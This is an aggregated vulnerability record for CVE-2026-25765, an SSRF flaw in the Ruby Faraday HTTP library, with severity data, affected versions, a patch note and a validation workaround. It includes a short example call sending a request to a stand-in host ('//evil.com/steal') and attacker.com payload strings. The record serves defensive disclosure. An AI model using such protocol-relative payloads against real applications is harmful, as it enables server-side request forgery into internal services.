{"id":"CVE-2026-25765","aliases":["CVE-2026-25765","GHSA-33mh-2634-fwr2"],"related":["CVE-2026-33637"],"kind":"vulnerability","state":"published","title":"Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url","summary":"Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.","source":"cvelist"},{"lang":"en","text":"### Impact\n\n  Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's\n  `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,\n  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n  that override the base URL's host/authority component.\n\n  This means that if any application passes user-controlled input to Faraday's `get()`,\n  `post()`, `build_url()`, or other request methods, an attacker can supply a\n  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n  arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n  `/`, so protocol-relative URLs bypass it entirely.\n\n  **Example:**\n  ```ruby\n  conn = Faraday.new(url: 'https://api.internal.com')\n  conn.get('//evil.com/steal')\n  # Request is sent to https://evil.com/steal instead of api.internal.com\n  ```\n\n### Patches\n\n  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n  Applications should validate and sanitize any user-controlled input before passing it to\n  Faraday request methods. Specifically:\n\n  - Reject or strip input that starts with // followed by a non-/ character\n  - Use an allowlist of permitted path prefixes\n  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n  Example validation:\n  ```ruby\n  def safe_path(user_input)\n    raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n    user_input\n  end\n  ```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Faraday es una capa de abstracción de biblioteca cliente HTTP que proporciona una interfaz común sobre muchos adaptadores. Antes de la versión 2.14.1, el método build_exclusive_url de Faraday (en lib/faraday/connection.rb) utiliza URI#merge de Ruby para combinar la URL base de la conexión con una ruta proporcionada por el usuario. Según la RFC 3986, las URL relativas al protocolo (por ejemplo, //evil.com/path) se tratan como referencias de ruta de red que anulan el componente de host/autoridad de la URL base. Esto significa que si alguna aplicación pasa entrada controlada por el usuario a los métodos get(), post(), build_url() u otros métodos de petición de Faraday, un atacante puede proporcionar una URL relativa al protocolo como //attacker.com/endpoint para redirigir la petición a un host arbitrario, lo que permite la falsificación de petición del lado del servidor (SSRF). Esta vulnerabilidad se corrige en la versión 2.14.1.","source":"nvd"}],"published":"2026-02-09T20:30:58.774Z","modified":"2026-09-10T03:50:33.817Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 2.14.1","status":"affected"}],"vendor":"lostisland","product":"faraday","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2.0.0","status":"affected","fixed":"2.14.1"}],"ecosystem":"RubyGems","package":"faraday","purl":"pkg:gem/faraday","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"1.0.0","status":"affected","fixed":"1.10.5"}],"ecosystem":"RubyGems","package":"faraday","purl":"pkg:gem/faraday","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"1.0.0","fixed":"1.10.5"},{"status":"affected","introduced":"2.0.0","fixed":"2.14.1"}],"vendor":"faraday_project","product":"faraday","cpe":"cpe:2.3:a:faraday_project:faraday:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2","tags":["mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lostisland/faraday/releases/tag/v2.14.1","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25765","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/lostisland/faraday/pull/1569","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/lostisland/faraday","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/lostisland/faraday/releases/tag/v1.10.5","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml","tags":["web"],"sources":["ghsa"]},{"url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2","tags":["web"],"sources":["ghsa"]},{"url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.4","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-02-10T15:39:44.597Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25765","url":"https://www.cve.org/CVERecord?id=CVE-2026-25765","licence":"CVE Terms of Use","modified":"2026-02-10T15:59:26.645Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-33mh-2634-fwr2","url":"https://github.com/advisories/GHSA-33mh-2634-fwr2","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:33.817Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25765","licence":"Public domain","modified":"2026-06-17T10:25:11.687Z"}],"updatedAt":"2026-11-25T22:59:13.675Z","epss":{"score":0.0039,"percentile":0.35231,"date":"2026-12-01T12:00:22.000Z"}}